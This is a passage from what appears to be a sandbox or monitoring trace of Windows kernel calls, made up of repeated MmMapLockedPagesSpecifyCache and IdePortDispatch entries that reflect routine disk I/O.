(MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d83000 [0112.553] IdePortDispatch () returned 0x103 [0112.554] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d86000 [0112.554] IdePortDispatch () returned 0x103 [0112.556] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d89000 [0112.556] IdePortDispatch () returned 0x103 [0112.556] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d8c000 [0112.557] IdePortDispatch () returned 0x103 [0112.557] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d8f000 [0112.557] IdePortDispatch () returned 0x103 [0112.557] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d93000 [0112.557] IdePortDispatch () returned 0x103 [0112.558] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d96000 [0112.558] IdePortDispatch () returned 0x103 [0112.558] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d99000 [0112.558] IdePortDispatch () returned 0x103 [0112.558] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9c000 [0112.559] IdePortDispatch () returned 0x103 [0112.559] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9f000 [0112.559] IdePortDispatch () returned 0x103 [0112.559] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da2000 [0112.559] IdePortDispatch () returned 0x103 [0112.562] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da5000 [0112.562] IdePortDispatch () returned 0x103 [0112.566] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da9000 [0112.566] IdePortDispatch () returned 0x103 [0112.569] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dac000 [0112.569] IdePortDispatch () returned 0x103 [0112.569] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002daf000 [0112.569] IdePortDispatch () returned 0x103 [0112.570] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db2000 [0112.570] IdePortDispatch () returned 0x103 [0112.571] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db5000 [0112.571] IdePortDispatch () returned 0x103 [0112.574] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db8000 [0112.574] IdePortDispatch () returned 0x103 [0112.577] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dbb000 [0112.577] IdePortDispatch () returned 0x103 [0112.578] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ddf000 [0112.578] IdePortDispatch () returned 0x103 [0112.582] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003401000 [0112.582] IdePortDispatch () returned 0x103 [0112.585] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003404000 [0112.586] IdePortDispatch () returned 0x103 [0112.589] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003407000 [0112.589] IdePortDispatch () returned 0x103 [0112.592] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800340a000 [0112.593] IdePortDispatch () returned 0x103 [0112.593] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800340d000 [0112.593] IdePortDispatch () returned 0x103 [0112.594] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003410000 [0112.594] IdePortDispatch () returned 0x103 [0112.594] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003413000 [0112.594] IdePortDispatch () returned 0x103 [0112.595] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003417000 [0112.595] IdePortDispatch () returned 0x103 [0112.595] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800341a000 [0112.595] IdePortDispatch () returned 0x103 [0112.596] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800341d000 [0112.596] IdePortDispatch () returned 0x103 [0112.596] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003420000 [0112.596] IdePortDispatch () returned 0x103 [0112.597] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003423000 [0112.597] IdePortDispatch () returned 0x103 [0112.606] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003427000 [0112.606] IdePortDispatch () returned 0x103 [0112.611] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342a000 [0112.611] IdePortDispatch () returned 0x103 [0112.612] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342d000 [0112.612] IdePortDispatch () returned 0x103 [0112.612] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003441000 [0112.612] IdePortDispatch () returned 0x103 [0112.615] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003444000 [0112.615] IdePortDispatch () returned 0x103 [0112.616] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003447000 [0112.616] IdePortDispatch () returned 0x103 [0112.617] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800344a000 [0112.617] IdePortDispatch () returned 0x103 [0112.621] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800344c000 [0112.621] IdePortDispatch () returned 0x103 [0112.625] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800344f000 [0112.625] IdePortDispatch () returned 0x103 [0112.625] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003451000 [0112.625] IdePortDispatch () returned 0x103 [0112.626] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003454000 [0112.626] IdePortDispatch () returned 0x103 [0112.626] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003457000 [0112.626] IdePortDispatch () returned 0x103 [0112.627] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800345a000 [0112.627] IdePortDispatch () returned 0x103 [0112.627] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800345d000 [0112.627] IdePortDispatch () returned 0x103 [0112.627] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003460000 [0112.627] IdePortDispatch () returned 0x103 [0112.628] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003462000 [0112.628] IdePortDispatch () returned 0x103 [0112.628] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003464000 [0112.628] IdePortDispatch () returned 0x103 [0112.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003466000 [0112.629] IdePortDispatch () returned 0x103 [0112.630] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800347d000 [0112.630] IdePortDispatch () returned 0x103 [0112.630] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003480000 [0112.630] IdePortDispatch () returned 0x103 [0112.631] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003485000 [0112.631] IdePortDispatch () returned 0x103 [0112.632] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003487000 [0112.632] IdePortDispatch () returned 0x103 [0112.632] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003489000 [0112.632] IdePortDispatch () returned 0x103 [0112.633] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800348b000 [0112.633] IdePortDispatch () returned 0x103 [0112.698] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003492000 [0112.698] IdePortDispatch () returned 0x103 [0112.699] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003494000 [0112.699] IdePortDispatch () returned 0x103 [0112.699] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003497000 [0112.699] IdePortDispatch () returned 0x103 [0112.700] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349a000 [0112.700] IdePortDispatch () returned 0x103 [0112.700] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349c000 [0112.700] IdePortDispatch () returned 0x103 [0112.704] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349e000 [0112.704] IdePortDispatch () returned 0x103 [0112.709] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0112.709] IdePortDispatch () returned 0x103 [0112.710] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a2000 [0112.710] IdePortDispatch () returned 0x103 [0112.710] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a4000 [0112.710] IdePortDispatch () returned 0x103 [0112.711] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a6000 [0112.711] IdePortDispatch () returned 0x103 [0112.712] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a8000 [0112.712] IdePortDispatch () returned 0x103 [0112.712] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034aa000 [0112.712] IdePortDispatch () returned 0x103 [0112.713] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ac000 [0112.713] IdePortDispatch () returned 0x103 [0112.713] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ae000 [0112.713] IdePortDispatch () returned 0x103 [0112.714] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b1000 [0112.714] IdePortDispatch () returned 0x103 [0112.714] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b4000 [0112.714] IdePortDispatch () returned 0x103 [0112.715] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b8000 [0112.715] IdePortDispatch () returned 0x103 [0112.715] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034bb000 [0112.715] IdePortDispatch () returned 0x103 [0112.716] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034be000 [0112.716] IdePortDispatch () returned 0x103 [0112.716] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c1000 [0112.716] IdePortDispatch () returned 0x103 [0112.717] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c4000 [0112.717] IdePortDispatch () returned 0x103 [0112.718] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c7000 [0112.718] IdePortDispatch () returned 0x103 [0112.718] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ca000 [0112.718] IdePortDispatch () returned 0x103 [0112.719] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ce000 [0112.719] IdePortDispatch () returned 0x103 [0112.720] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e4000 [0112.720] IdePortDispatch () returned 0x103 [0112.725] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e7000 [0112.725] IdePortDispatch () returned 0x103 [0112.725] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ea000 [0112.725] IdePortDispatch () returned 0x103 [0112.726] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ed000 [0112.726] IdePortDispatch () returned 0x103 [0112.727] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f0000 [0112.727] IdePortDispatch () returned 0x103 [0112.729] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f3000 [0112.729] IdePortDispatch () returned 0x103 [0112.733] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f6000 [0112.733] IdePortDispatch () returned 0x103 [0112.734] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fa000 [0112.734] IdePortDispatch () returned 0x103 [0112.735] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fd000 [0112.735] IdePortDispatch () returned 0x103 [0112.735] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0112.735] IdePortDispatch () returned 0x103 [0112.736] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003503000 [0112.736] IdePortDispatch () returned 0x103 [0112.736] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003506000 [0112.736] IdePortDispatch () returned 0x103 [0112.738] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350b000 [0112.738] IdePortDispatch () returned 0x103 [0112.739] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350f000 [0112.739] IdePortDispatch () returned 0x103 [0112.739] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003512000 [0112.739] IdePortDispatch () returned 0x103 [0112.740] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003516000 [0112.740] IdePortDispatch () returned 0x103 [0112.741] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800351a000 [0112.741] IdePortDispatch () returned 0x103 [0112.741] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800351f000 [0112.741] IdePortDispatch () returned 0x103 [0112.742] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003524000 [0112.742] IdePortDispatch () returned 0x103 [0112.742] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003529000 [0112.742] IdePortDispatch () returned 0x103 [0112.743] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800352e000 [0112.743] IdePortDispatch () returned 0x103 [0112.744] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003533000 [0112.744] IdePortDispatch () returned 0x103 [0112.745] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003539000 [0112.745] IdePortDispatch () returned 0x103 [0112.745] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800353e000 [0112.745] IdePortDispatch () returned 0x103 [0112.746] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003542000 [0112.746] IdePortDispatch () returned 0x103 [0112.746] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003546000 [0112.746] IdePortDispatch () returned 0x103 